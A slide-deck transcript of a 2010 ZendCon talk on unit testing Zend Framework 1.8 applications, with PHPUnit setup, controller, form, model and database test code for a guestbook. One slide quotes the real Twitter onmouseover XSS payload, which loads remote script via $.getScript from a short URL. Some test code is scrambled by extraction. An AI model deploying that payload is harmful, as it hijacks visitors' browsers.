SlideShare une entreprise Scribd logo
1  sur  79
Télécharger pour lire hors ligne
Unit Testing after ZF 1.8
         Michelangelo van Dam
      ZendCon 2010, Santa Clara, CA (USA)
Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
This session


  What has changed with ZF 1.8 ?
How do we set up our environment ?
 How are we testing controllers ?
   How are we testing forms ?
   How are we testing models ?
New to unit testing ?
phpunit.de




  http://www.phpunit.de
Matthew Weier O’Phinney




   http://www.slideshare.net/weierophinney/testing-zend-framework-applications
Giorgio Sironi




http://giorgiosironi.blogspot.com/2009/12/practical-php-testing-is-here.html
Zend Framework 1.8
Birth of Zend_Application
• bootstrapping an “app”
• works the same for any environment
• resources through methods (no registry)
•- clean separation of tests
     unit tests
 -   controller tests
 -   integration tests (db, web services, …)
Types of tests
Unit Testing
•- smallest functional code snippet (unit)
     function or class method
•- aims to challenge logic
     proving A + B gives C (and not D)
• helpful for refactoring
• essential for bug fixing (is it really a bug ?)
• TDD results in better code
• higher confidence for developers -> managers
Controller Testing
•- tests your (ZF) app
     is this url linked to this controller ?
•- detects early errors
    on front-end (route/page not found)
 - on back-end (database changed, service down, …)
• tests passing back and forth of params
• form validation and filtering
• security testing (XSS, SQL injection, …)
Database Testing
•- tests the functionality of your database
     referred to as “integration testing”
•- checks functionality
   CRUD
 - stored procedures
 - triggers and constraints
• verifies no mystery data changes happen
 - UTF-8 in = UTF-8 out
Application Testing
Setting things up
phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
    <testsuite name="Zend Framework Unit Test Demo">
        <directory>./</directory>
    </testsuite>

    <!-- Optional settings for filtering and logging -->
    <filter>
        <whitelist>
             <directory suffix=".php">../library/</directory>
             <directory suffix=".php">../application/</directory>
             <exclude>
                 <directory suffix=".phtml">../application/</directory>
             </exclude>
        </whitelist>
    </filter>

    <logging>
        <log type="coverage-html" target="./log/report" charset="UTF-8"
         yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/>
        <log type="testdox-html" target="./log/testdox.html" />
    </logging>
</phpunit>
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';
$application = new Zend_Application(APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library'
    . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';
$application = new Zend_Application(APPLICATION_ENV,
    APPLICATION_PATH . '/configs/application.ini');
$application->bootstrap();
ControllerTestCase.php
<?php
require_once 'Zend/Application.php';
require_once 'Zend/Test/PHPUnit/ControllerTestCase.php';

abstract class ControllerTestCase extends
Zend_Test_PHPUnit_ControllerTestCase
{
    protected function setUp()
    {
        // we override the parent::setUp() to solve an issue regarding not
        // finding a default module
    }
}
Directory Strategy
/application                 /tests
    /configs                     /application
    /controllers                     /controllers
    /forms                           /forms
    /models                          /models
    /modules                         /modules
         /guestbook                      /guestbook
             /apis                            /apis
             /controllers                     /controllers
             /forms                           /forms
             /models                          /models
             /views
                  /helpers
                  /filters
                  /scripts
    /views
         /helpers
         /filters
         /scripts
/library
/public
/tests
Testing Controllers
Homepage testing
<?php
// file: tests/application/controllers/IndexControllerTest.php
require_once TEST_PATH . '/ControllerTestCase.php';

class IndexControllerTest extends ControllerTestCase
{
    public function testCanWeDisplayOurHomepage()
    {
        // go to the main page of the web application
        $this->dispatch('/');

        // check if we don't end up on an error page
        $this->assertNotController('error');
        $this->assertNotAction('error');

        // ok, no error so let's see if we're at our homepage
        $this->assertModule('default');
        $this->assertController('index');
        $this->assertAction('index');
        $this->assertResponseCode(200);
    }
}
Running the tests
testdox.html
Code coverage
Testing Forms
Guestbook form
fullName
emailAddress
website
comment




               submit
Simple comment form
<?php
class Application_Form_Comment extends Zend_Form
{
    public function init()
    {
        $this->addElement('text', 'fullName', array (
            'label' => 'Full name', 'required' => true));
        $this->addElement('text', 'emailAddress', array (
            'label' => 'E-mail address', 'required' => true));
        $this->addElement('text', 'website', array (
            'label' => 'Website URL', 'required' => false));
        $this->addElement('textarea', 'comment', array (
            'label' => 'Your comment', 'required' => false));
        $this->addElement('submit', 'send', array (
            'Label' => 'Send', 'ignore' => true));
    }
}
CommentController
<?php
   class CommentController extends Zend_Controller_Action
   {
       protected $_session;

      public function init()
      {
          $this->_session = new Zend_Session_Namespace('comment');
      }

      public function indexAction()
      {
          $form = new Application_Form_Comment(array (
              'action' => $this->_helper->url('send-comment'),
              'method' => 'POST',
          ));
          if (isset ($this->_session->commentForm)) {
              $form = unserialize($this->_session->commentForm);
              unset ($this->_session->commentForm);
          }
          $this->view->form = $form;
      }
  }
Comment processing
<?php
   class CommentController extends Zend_Controller_Action
   {
       …

      public function sendCommentAction()
      {
          $request = $this->getRequest();
          if (!$request->isPost()) {
              return $this->_helper->redirector('index');
          }
          $form = new Application_Form_Comment();
          if (!$form->isValid($request->getPost())) {
              $this->_session->commentForm = serialize($form);
              return $this->_helper->redirector('index');
          }
          $values = $form->getValues();
          $this->view->values = $values;
      }
  }
Views
<!-- file: application/views/scripts/comment/index.phtml -->
  <?php echo $this->form ?>

  <!-- file: application/views/scripts/comment/send-comment.phtml -->
  <dl>
  <?php if (isset ($this->values['website'])): ?>
  <dt id="fullName"><a href="<?php echo $this->escape($this->values
  ['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></
  dt>
  <?php else: ?>
  <dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt>
  <?php endif; ?>
  <dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd>
  </dl>
The Form
Comment processed
And now… testing
Starting simple
<?php
   // file: tests/application/controllers/IndexControllerTest.php
   require_once TEST_PATH . '/ControllerTestCase.php';

   class CommentControllerTest extends ControllerTestCase
   {
       public function testCanWeDisplayOurForm()
       {
           // go to the main comment page of the web application
           $this->dispatch('/comment');

           // check if we don't end up on an error page
           $this->assertNotController('error');
           $this->assertNotAction('error');

           $this->assertModule('default');
           $this->assertController('comment');
           $this->assertAction('index');
           $this->assertResponseCode(200);

           $this->assertQueryCount('form', 1);
                 $this->assertQueryCount('form', 1);
           $this->assertQueryCount('input[type="text"]', 2);

       }
                 $this->assertQueryCount('input[type="text"]', 3);
           $this->assertQueryCount('textarea', 1);

   }             $this->assertQueryCount('textarea', 1);
GET request = index ?
public function testSubmitFailsWhenNotPost()
  {
      $this->request->setMethod('get');
      $this->dispatch('/comment/send-comment');
      $this->assertResponseCode(302);
      $this->assertRedirectTo('/comment');
  }
Can we submit our form ?
public function testCanWeSubmitOurForm()
{
    $this->request->setMethod('post')
                  ->setPost(array (
                    'fullName'      => 'Unit Tester',
                    'emailAddress' => 'test@example.com',
                    'website'       => 'http://www.example.com',
                    'comment'       => 'This is a simple test',
                  ));
    $this->dispatch('/comment/send-comment');

    $this->assertQueryCount('dt', 1);
    $this->assertQueryCount('dd', 1);
    $this->assertQueryContentContains('dt#fullName',
        '<a href="http://www.example.com">Unit Tester</a>');
    $this->assertQueryContentContains('dd#comment', 'This is a simple test');
}
All other cases ?
/**
  * @dataProvider wrongDataProvider
  */
public function testSubmitFailsWithWrongData($fullName, $emailAddress,
$comment)
{
     $this->request->setMethod('post')
                   ->setPost(array (
                     'fullName'      => $fullName,
                     'emailAddress' => $emailAddress,
                     'comment'       => $comment,
                   ));
     $this->dispatch('/comment/send-comment');

    $this->assertResponseCode(302);
    $this->assertRedirectTo('/comment');
}
wrongDataProvider
public function wrongDataProvider()
  {
      return array (
          array ('', '', ''),
          array ('~', 'bogus', ''),
          array ('', 'test@example.com', 'This is correct text'),
          array ('Test User', '', 'This is correct text'),
          array ('Test User', 'test@example.com', str_repeat('a', 50001)),
      );
  }
Running the tests
Our testdox.html
Code Coverage
Practical use
September 21, 2010
CNN reports




http://www.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html
The exploit


http://t.co/@”style=”font-size:999999999999px;
”onmouseover=”$.getScript(‘http:u002fu002fis.gd
u002ffl9A7′)”/




  http://www.developerzen.com/2010/09/21/write-your-own-twitter-com-xss-exploit/
Unit Testing (models)
Guestbook Models
Testing models
• uses core PHPUnit_Framework_TestCase class
• tests your business logic !
• can run independent from other tests
•- model testing !== database testing
     model testing tests the logic in your objects
 -   database testing tests the data storage
Model setUp/tearDown
<?php
require_once 'PHPUnit/Framework/TestCase.php';
class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase
{
    protected $_gb;

    protected function setUp()
    {
        parent::setUp();
        $this->_gb = new Application_Model_Guestbook();
    }
    protected function tearDown()
    {
        $this->_gb = null;
        parent::tearDown();
    }
    …
}
Simple tests
public function testGuestBookIsEmptyAtConstruct()
{
    $this->assertType('Application_Model_GuestBook', $this->_gb);
    $this->assertFalse($this->_gb->hasEntries());
    $this->assertSame(0, count($this->_gb->getEntries()));
    $this->assertSame(0, count($this->_gb));
}
public function testGuestbookAddsEntry()
{
    $entry = new Application_Model_GuestbookEntry();
    $entry->setFullName('Test user')
          ->setEmailAddress('test@example.com')
          ->setComment('This is a test');

    $this->_gb->addEntry($entry);
    $this->assertTrue($this->_gb->hasEntries());
    $this->assertSame(1, count($this->_gb));
}
GuestbookEntry tests
…
public function gbEntryProvider()
{
    return array (
        array (array (
            'fullName' => 'Test User',
            'emailAddress' => 'test@example.com',
            'website' => 'http://www.example.com',
            'comment' => 'This is a test',
            'timestamp' => '2010-01-01 00:00:00',
        )),
        array (array (
            'fullName' => 'Test Manager',
            'emailAddress' => 'testmanager@example.com',
            'website' => 'http://tests.example.com',
            'comment' => 'This is another test',
            'timestamp' => '2010-01-01 01:00:00',
        )),
    );
}

/**
  * @dataProvider gbEntryProvider
  * @param $data
  */
public function testEntryCanBePopulatedAtConstruct($data)
{
     $entry = new Application_Model_GuestbookEntry($data);
     $this->assertSame($data, $entry->__toArray());
}
…
Running the tests
Our textdox.html
Code Coverage
Database Testing
Database Testing
•- integration testing
   seeing records are getting updated
 - data models behave as expected
 - data doesn't change encoding (UTF-8 to Latin1)
• database behaviour testing
 - CRUD
 - stored procedures
 - triggers
 - master/slave - cluster
 - sharding
Caveats
•- database should be reset in a “known state”
     no influence from other tests
•- system failures cause the test to fail
     connection problems
•- unpredictable data fields or types
     auto increment fields
 -   date fields w/ CURRENT_TIMESTAMP
Converting modelTest
Model => database
<?php
  require_once 'PHPUnit/Framework/TestCase.php';
  class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase
  {
  …
  }

  Becomes

  <?php
  require_once TEST_PATH . '/DatabaseTestCase.php';
  class Application_Model_GuestbookEntryTest extends DatabaseTestCase
  {
  …
  }
DatabaseTestCase.php
<?php
  require_once 'Zend/Application.php';
  require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php';
  require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php';

  abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase
  {
      private $_dbMock;
      private $_application;

      protected function setUp()
      {
          $this->_application = new Zend_Application(
              APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
          $this->bootstrap = array($this, 'appBootstrap');
          parent::setUp();
      }
      …
DatabaseTestCase.php (2)
    …
        public function appBootstrap()
        {
            $this->application->bootstrap();
        }
        protected function getConnection()
        {
            if (null === $this->_dbMock) {
                $bootstrap = $this->application->getBootstrap();
                $bootstrap->bootstrap('db');
                $connection = $bootstrap->getResource('db');
                $this->_dbMock = $this->createZendDbConnection($connection,'in2it');
                Zend_Db_Table_Abstract::setDefaultAdapter($connection);
            }
            return $this->_dbMock;
        }
        protected function getDataSet()
        {
            return $this->createFlatXMLDataSet(
                dirname(__FILE__) . '/_files/initialDataSet.xml');
        }
}
_files/initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
  <dataset>
      <gbentry id="1"
               fullName="Test User"
               emailAddress="test@example.com"
               website="http://www.example.com"
               comment="This is a first test"
               timestamp="2010-01-01 00:00:00"/>
      <gbentry id="2"
               fullName="Obi Wan Kenobi"
               emailAddress="obi-wan@jedi-council.com"
               website="http://www.jedi-council.com"
               comment="May the phporce be with you"
               timestamp="2010-01-01 01:00:00"/>
      <comment id="1" comment= "Good article, thanks"/>
      <comment id="2" comment= "Haha, Obi Wan… liking this very much"/>
      …
  </dataset>
A simple DB test
    public function testNewEntryPopulatesDatabase()
{
    $data = $this->gbEntryProvider();
    foreach ($data as $row) {
        $entry = new Application_Model_GuestbookEntry($row[0]);
        $entry->save();
        unset ($entry);
    }
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection()
    );
    $ds->addTable('gbentry', 'SELECT * FROM gbentry');
    $dataSet = $this->createFlatXmlDataSet(
            TEST_PATH . "/_files/addedTwoEntries.xml");
    $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
        $dataSet, array('gbentry' => array('id')));
    $this->assertDataSetsEqual($filteredDataSet, $ds);
}
location of datasets
<approot>/application
         /public
         /tests
            /_files
                 initialDataSet.xml
                 readingDataFromSource.xml
Running the tests
Our textdox.html
CodeCoverage
Changing records
public function testNewEntryPopulatesDatabase()
{
    $data = $this->gbEntryProvider();
    foreach ($data as $row) {
        $entry = new Application_Model_GuestbookEntry($row[0]);
        $entry->save();
        unset ($entry);
    }
    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
        $this->getConnection()
    );
    $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment,
timestamp FROM gbentry');
    $this->assertDataSetsEqual(
        $this->createFlatXmlDataSet(
            TEST_PATH . "/_files/addedTwoEntries.xml"),
        $ds
    );
}
Expected resultset
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
    <gbentry fullName="Test User" emailAddress="test@example.com"
             website="http://www.example.com" comment="This is a first test"
             timestamp="2010-01-01 00:00:00"/>
    <gbentry fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi-
council.com"
             website="http://www.jedi-council.com" comment="May the phporce
be with you"
             timestamp="2010-01-01 01:00:00"/>
    <gbentry fullName="Test User" emailAddress="test@example.com"
             website="http://www.example.com" comment="This is a test"
             timestamp="2010-01-01 00:00:00"/>
    <gbentry fullName="Test Manager" emailAddress="testmanager@example.com"
             website="http://tests.example.com" comment="This is another
test"
             timestamp="2010-01-01 01:00:00"/>
</dataset>
location of datasets
<approot>/application
         /public
         /tests
            /_files
                 initialDataSet.xml
                 readingDataFromSource.xml
                 addedTwoEntries.xml
Running the tests
The testdox.html
CodeCoverage
Testing strategies
Desire vs Reality
•- desire
     +70% code coverage
 -   test driven development
 -   clean separation of tests

•- reality
     test what counts first (business logic)
 -   discover the “unknowns” and test them
 -   combine unit tests with integration tests
Automation
•- using a CI system
   continuous running your tests
 - reports immediately when failure
 - provides extra information
  ‣ copy/paste detection
  ‣ mess detection &dependency calculations
  ‣ lines of code
  ‣ code coverage
  ‣ story board and test documentation
  ‣ …
Questions
• http://slideshare.net/DragonBe/unit-testing-after-zf-18
• http://github.com/DragonBe/zfunittest
• http://twitter.com/DragonBe
• http://facebook.com/DragonBe
• http://joind.in/2243
http://conference.phpbenelux.eu

Contenu connexe

Tendances

Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigLive Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigFrans Rosén
 
Introduction to Sightly and Sling Models
Introduction to Sightly and Sling ModelsIntroduction to Sightly and Sling Models
Introduction to Sightly and Sling ModelsStefano Celentano
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?Yurii Bilyk
 
Usando Amazon CloudFront para aumentar performance, disponibilidade e cache n...
Usando Amazon CloudFront para aumentar performance, disponibilidade e cache n...Usando Amazon CloudFront para aumentar performance, disponibilidade e cache n...
Usando Amazon CloudFront para aumentar performance, disponibilidade e cache n...Amazon Web Services LATAM
 
Class 3 - PHP Functions
Class 3 - PHP FunctionsClass 3 - PHP Functions
Class 3 - PHP FunctionsAhmed Swilam
 
Odoo Experience 2018 - The Odoo JS Framework
Odoo Experience 2018 - The Odoo JS FrameworkOdoo Experience 2018 - The Odoo JS Framework
Odoo Experience 2018 - The Odoo JS FrameworkElínAnna Jónasdóttir
 
PHP for Adults: Clean Code and Object Calisthenics
PHP for Adults: Clean Code and Object CalisthenicsPHP for Adults: Clean Code and Object Calisthenics
PHP for Adults: Clean Code and Object CalisthenicsGuilherme Blanco
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMFrans Rosén
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking themMikhail Egorov
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsMikhail Egorov
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesHacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesMikhail Egorov
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016Frans Rosén
 
Sling models by Justin Edelson
Sling models by Justin Edelson Sling models by Justin Edelson
Sling models by Justin Edelson AEM HUB
 
Gareth hayes. non alphanumeric javascript-php and shared fuzzing
Gareth hayes. non alphanumeric javascript-php and shared fuzzingGareth hayes. non alphanumeric javascript-php and shared fuzzing
Gareth hayes. non alphanumeric javascript-php and shared fuzzingYury Chemerkin
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host headerSergey Belov
 
Kiss PageObjects [01-2017]
Kiss PageObjects [01-2017]Kiss PageObjects [01-2017]
Kiss PageObjects [01-2017]Iakiv Kramarenko
 
Javascript 교육자료 pdf
Javascript 교육자료 pdfJavascript 교육자료 pdf
Javascript 교육자료 pdfHyosang Hong
 
Learn flask in 90mins
Learn flask in 90minsLearn flask in 90mins
Learn flask in 90minsLarry Cai
 

Tendances (20)

Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigLive Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
 
Introduction to Sightly and Sling Models
Introduction to Sightly and Sling ModelsIntroduction to Sightly and Sling Models
Introduction to Sightly and Sling Models
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
Usando Amazon CloudFront para aumentar performance, disponibilidade e cache n...
Usando Amazon CloudFront para aumentar performance, disponibilidade e cache n...Usando Amazon CloudFront para aumentar performance, disponibilidade e cache n...
Usando Amazon CloudFront para aumentar performance, disponibilidade e cache n...
 
Class 3 - PHP Functions
Class 3 - PHP FunctionsClass 3 - PHP Functions
Class 3 - PHP Functions
 
Odoo Experience 2018 - The Odoo JS Framework
Odoo Experience 2018 - The Odoo JS FrameworkOdoo Experience 2018 - The Odoo JS Framework
Odoo Experience 2018 - The Odoo JS Framework
 
PHP for Adults: Clean Code and Object Calisthenics
PHP for Adults: Clean Code and Object CalisthenicsPHP for Adults: Clean Code and Object Calisthenics
PHP for Adults: Clean Code and Object Calisthenics
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEM
 
Securing AEM webapps by hacking them
Securing AEM webapps by hacking themSecuring AEM webapps by hacking them
Securing AEM webapps by hacking them
 
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programsAEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sitesHacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
 
Sling models by Justin Edelson
Sling models by Justin Edelson Sling models by Justin Edelson
Sling models by Justin Edelson
 
Gareth hayes. non alphanumeric javascript-php and shared fuzzing
Gareth hayes. non alphanumeric javascript-php and shared fuzzingGareth hayes. non alphanumeric javascript-php and shared fuzzing
Gareth hayes. non alphanumeric javascript-php and shared fuzzing
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
Kiss PageObjects [01-2017]
Kiss PageObjects [01-2017]Kiss PageObjects [01-2017]
Kiss PageObjects [01-2017]
 
jQuery
jQueryjQuery
jQuery
 
Javascript 교육자료 pdf
Javascript 교육자료 pdfJavascript 교육자료 pdf
Javascript 교육자료 pdf
 
Learn flask in 90mins
Learn flask in 90minsLearn flask in 90mins
Learn flask in 90mins
 
An introduction to Vue.js
An introduction to Vue.jsAn introduction to Vue.js
An introduction to Vue.js
 

En vedette

En vedette (20)

PHPUnit testing to Zend_Test
PHPUnit testing to Zend_TestPHPUnit testing to Zend_Test
PHPUnit testing to Zend_Test
 
C++ material
C++ materialC++ material
C++ material
 
software testing
software testingsoftware testing
software testing
 
Data flowtesting doc
Data flowtesting docData flowtesting doc
Data flowtesting doc
 
Stm unit1
Stm unit1Stm unit1
Stm unit1
 
Path testing
Path testingPath testing
Path testing
 
Transactionflow
TransactionflowTransactionflow
Transactionflow
 
Testing
Testing Testing
Testing
 
Path testing
Path testingPath testing
Path testing
 
Taxonomy for bugs
Taxonomy for bugsTaxonomy for bugs
Taxonomy for bugs
 
Unit 3 Control Flow Testing
Unit 3   Control Flow TestingUnit 3   Control Flow Testing
Unit 3 Control Flow Testing
 
Bug taxonomy
Bug taxonomyBug taxonomy
Bug taxonomy
 
Normalization in Database
Normalization in DatabaseNormalization in Database
Normalization in Database
 
Path Testing
Path TestingPath Testing
Path Testing
 
Basis path testing
Basis path testingBasis path testing
Basis path testing
 
Software Testing Techniques
Software Testing TechniquesSoftware Testing Techniques
Software Testing Techniques
 
Testing techniques
Testing techniquesTesting techniques
Testing techniques
 
DBMS - Normalization
DBMS - NormalizationDBMS - Normalization
DBMS - Normalization
 
Databases: Normalisation
Databases: NormalisationDatabases: Normalisation
Databases: Normalisation
 
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NFDatabase Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
Database Normalization 1NF, 2NF, 3NF, BCNF, 4NF, 5NF
 

Similaire à Unit testing after Zend Framework 1.8

Unit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxUnit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxMichelangelo van Dam
 
Unit testing with zend framework tek11
Unit testing with zend framework tek11Unit testing with zend framework tek11
Unit testing with zend framework tek11Michelangelo van Dam
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Michelangelo van Dam
 
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Michelangelo van Dam
 
Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013Michelangelo van Dam
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastMichelangelo van Dam
 
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...ZFConf Conference
 
Refactoring using Codeception
Refactoring using CodeceptionRefactoring using Codeception
Refactoring using CodeceptionJeroen van Dijk
 
Zend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_ToolZend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_ToolGordon Forsythe
 
Bootstrat REST APIs with Laravel 5
Bootstrat REST APIs with Laravel 5Bootstrat REST APIs with Laravel 5
Bootstrat REST APIs with Laravel 5Elena Kolevska
 
Frameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHPFrameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHPDan Jesus
 
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)arcware
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐいHisateru Tanaka
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207patter
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkBo-Yi Wu
 
Using and reusing CakePHP plugins
Using and reusing CakePHP pluginsUsing and reusing CakePHP plugins
Using and reusing CakePHP pluginsPierre MARTIN
 
Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2Zend Framework Study@Tokyo #2
Zend Framework Study@Tokyo #2Shinya Ohyanagi
 

Similaire à Unit testing after Zend Framework 1.8 (20)

Unit testing zend framework apps
Unit testing zend framework appsUnit testing zend framework apps
Unit testing zend framework apps
 
Unit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBeneluxUnit testing with zend framework PHPBenelux
Unit testing with zend framework PHPBenelux
 
Unit testing with zend framework tek11
Unit testing with zend framework tek11Unit testing with zend framework tek11
Unit testing with zend framework tek11
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12
 
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
 
Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013Workshop quality assurance for php projects - ZendCon 2013
Workshop quality assurance for php projects - ZendCon 2013
 
Workshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfastWorkshop quality assurance for php projects - phpbelfast
Workshop quality assurance for php projects - phpbelfast
 
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
ZFConf 2010: Zend Framework & MVC, Model Implementation (Part 2, Dependency I...
 
Refactoring using Codeception
Refactoring using CodeceptionRefactoring using Codeception
Refactoring using Codeception
 
Zend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_ToolZend Framework 1.9 Setup & Using Zend_Tool
Zend Framework 1.9 Setup & Using Zend_Tool
 
Bootstrat REST APIs with Laravel 5
Bootstrat REST APIs with Laravel 5Bootstrat REST APIs with Laravel 5
Bootstrat REST APIs with Laravel 5
 
Frameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHPFrameworks da nova Era PHP FuelPHP
Frameworks da nova Era PHP FuelPHP
 
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
10 Things Every Plugin Developer Should Know (WordCamp Atlanta 2013)
 
関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい関西PHP勉強会 php5.4つまみぐい
関西PHP勉強会 php5.4つまみぐい
 
symfony on action - WebTech 207
symfony on action - WebTech 207symfony on action - WebTech 207
symfony on action - WebTech 207
 
CodeIgniter PHP MVC Framework
CodeIgniter PHP MVC FrameworkCodeIgniter PHP MVC Framework
CodeIgniter PHP MVC Framework
 
